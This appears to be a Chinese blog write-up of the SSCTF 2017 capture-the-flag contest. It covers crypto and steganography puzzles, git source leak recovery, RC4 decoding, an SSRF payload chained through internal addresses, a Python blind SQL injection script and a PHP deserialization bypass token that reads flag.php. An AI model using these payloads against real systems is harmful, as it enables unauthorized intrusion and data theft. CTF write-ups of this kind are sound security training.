Loading

SSCTF2017部分WP

上个周末考完大物就回到寝室,尝试着做这个比赛,虽然还很菜,虽然马上又要考试了。。虽然最后有道题已经做出了一半!

但是有遗憾有惊喜吧!还是简单记录一些东西。

自己做的部分

签到题

这道题直接给出了一串字符串,直接base64解码
这里看到了{}就有一种熟悉的感觉!
一开始也没有头绪,不过常见的加密方式就那几种,并且是个签到题,感觉没这么麻烦
首先想到的是凯撒移位,因为flag是ssctf{},讲道理应该有ssctf的
最后栅栏解密

base64解密
凯撒移位
栅栏解密

捡吗?

这道题虽然只有100分,但是却引起了尴尬。。。。
官方提示ssrf,但是内网地址。。。。最后官方受不了直接给了ssrf过程。。。!
主页是个图片,右键源码

<img src=" ./news.php?url=127.0.0.1/img.jpg ">

127.0.0.1,已经很明显了,再根据官方提示,poyload

http://120.132.21.19/news.php?url=10.23.173.190/news.php?url=ftp://172.17.0.2:21/flag.txt

但是这样提交之后,没反应,试了试大写绕过Ftp,读到flag

你知道我在等你么

直接下载,我存到了云盘密码:pdxn,是一个mp3格式文件,但是打不开,用HxD打开,一看是压缩包
直接解压,的到三个文件

mp3-zip

扫描提示的二维码,神龙摆尾(ps:不是让你看内容!!!)
有个zip文件是加密的,应该mp3文件含着密码,由于前几天做过一个看波形的题。。。但是没发现什么
又想到提示内容,就用HxD打开mp3文件,直接看结尾,可以的字符串,直接解密,开了。

mp3-2
这个地方,在看大佬wp的时候学到了一个新姿势,linux命令strings,可以直接导出文件字符串,具体使用可以百度

解压之后得到一张图片,老套路,16进制打开,试着搜索FF D9,可以从下图容易看出
后面是个png,扣数据,保存,注意文件头是坏的,需要修复

coffee

打开之后还是一个二维码,扫描是下载一个文本,打开之后。。。。。又是PK。。。。。。。。我。。。。无言以对
这是个伪加密,改图片处0->1,解压得到base64,解码,还需要url解码得到flag
这个300分真的不好拿。。。。。

伪加密

flag在哪里

打开链接,是个网址,而且下载的是个文件,。。。很令人怀疑啊,为什么还要打开一个网址??
这是我没提交成flag的那道题,一开始并没有思路,第二天,学长提示git源码泄露,才有了思路
打开数据包,发现就是一些git,./nijiakadaye,的字样,又搜了搜相关资料
果断linux,安装GitHack,并下载源码

	git clone https://github.com/BugScanTeam/GitHack
	cd GitHack
	python GitHack.py http://60.191.205.87/.nijiakadaye/

在网址目录打开终端,输入git log -u查看提交历史
GitHack

直接提交{}内容,不对。。。。。继续往下看,发现了pass.php,直接逆向解密
pass-1

<?php
function wtf($data,$pwd) {
    $cipher ="";
    $key[] ="";
    $box[] ="";
    $pwd_length = strlen($pwd);
    $data_length = strlen($data);
    for ($i = 0; $i < 256; $i++) {
        $key[$i] = ord($pwd[$i % $pwd_length]);
        $box[$i] = $i;
    }
    for ($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $key[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }
    for ($a = $j = $i = 0; $i < $data_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $k = $box[(($box[$a] + $box[$j]) % 256)];
        $cipher .= chr(ord($data[$i]) ^ $k);
    }
    return $cipher;
}
$a='xsL3HOvFlV+H40s0mhszc5t1x38EU0ZIFJHZ/h2sC3U=';
$decrypt=wtf(base64_decode($a),'ssctf');
echo $decrypt;
?>

pass

看大佬wp复现的部分

我们的秘密是绿色的

这道题长的姿势也不少的,首先就是题目也要注意,可能会是提示,比如这道,我们的秘密-OurSecret是这个工具
这个工具解密是需要密码的,题目提示秘密是绿色,观察图片,绿色部分的数字:0405111218192526

绿色
OurSecret

解压之后是个压缩包,提示密码是生日,8位数字爆破

提示
爆破

接下来又是新姿势,明文攻击(条件具体可以百度),下面第一张图片也可以算是明文攻击特征吧,将readme相同方式压缩,作为明文文件

特征
明文攻击
伪加密

解压之后又是伪加密。。。。似乎,充满了二维码,爆破密码,伪加密。。。。。得到下面的东西,和签到一样的手法

	qddpqwnpcplen%prqwn_{_zz*d@gq}

CloverSec Logos

首先是盲注,得到admin密码,贴上chamd5团队脚本

import requests
s = requests.session()
ll = "1234567890qwertyuiopasdfghjklzxcvbnm"
username = ""
for j in range(1,32):
    print j
    for i in ll:
        url = 'http://60.191.205.80/picture.php?id=1"%26%26substr((select(passwoorrd)from(user)where(id=1)),'+str(j)+',1)="'+i
        # print url
        # username = ""
        r = s.get(url)
        # print r.text
        if "Picture  not found" not in r.text:
            username = username + i
            print username
            break

然后就是反序列化了,这个题目wp是校内决赛之后加上的。。因为出了一道一样的反序列化问题
先看代码部分index.txt和include.txt,这后边是校内决赛代码,ssctf似乎已经关闭了

<?php
echo "<!--index.txt-->";
if(!$_GET['id'])
{
    header('Location: index.php?id=1');
    exit();
}
$id=$_GET['id'];
if($id==0)
  {
      if(isset($_COOKIE['token']))
      {
        $key=$_GET['key'];
        $token =$_COOKIE['token'];
        if(isset($key)&&(file_get_contents($key,'r')==="I want flag!!!"))
        {
          echo "hello Hacker!<br>"; 
          include("include.php");
          echo cumtctf_unserialize($token); 
        }
        else
        {  
          echo "You are not Hacker ! ";  
        }  
      }
  }
?>
<?php 
echo "<!--include.txt-->"; 
class Read{//flag.php
    public $file;
    public function __toString(){

        if(isset($this->file)){
            if("flag.php"===$this->file||stripos($this->file,"://")>-1)
            {
                exit();  
            }
            else
            {
                echo file_get_contents($this->file); 
            }              
        }
        return "you are big Hacker";
    }
}
function cumtctf_unserialize($value)
    {
        preg_match('/[oc]:\d+:/i', $value,$matches);
        if(count($matches)){
            return false;
        }
        return unserialize($value);
    }

?>

首先index.txt中get-id,传参id=0

然后首先看file_get_contents函数,这里要求传入的key=I want flag!!!
这里我们能够利用php的封装协议php://input,他能够得到POST原始数据,用火狐很方便

最后就是对token的操作,由include.txt代码部分可以知道,可以反序列化读取flag.php
但是代码中if("flag.php"===$this->file||stripos($this->file,"😕/")>-1)过滤了flag.php
这里可以用./flag.php绕过
preg_match('/[oc]:\d+:/i', $value,$matches);利用符号+就不会正则匹配到数字
token=O:+4:"Read":1:{s:4:"file";s:10:"./flag.php";}

最终token=O%3a%2b4%3a%22Read%22%3a1%3a%7bs%3a4%3a%22file%22%3bs%3a10%3a%22.%2fflag.php%22%3b%7d

posted @ 2017-05-09 00:45  bay1  阅读(310)  评论(0编辑  收藏  举报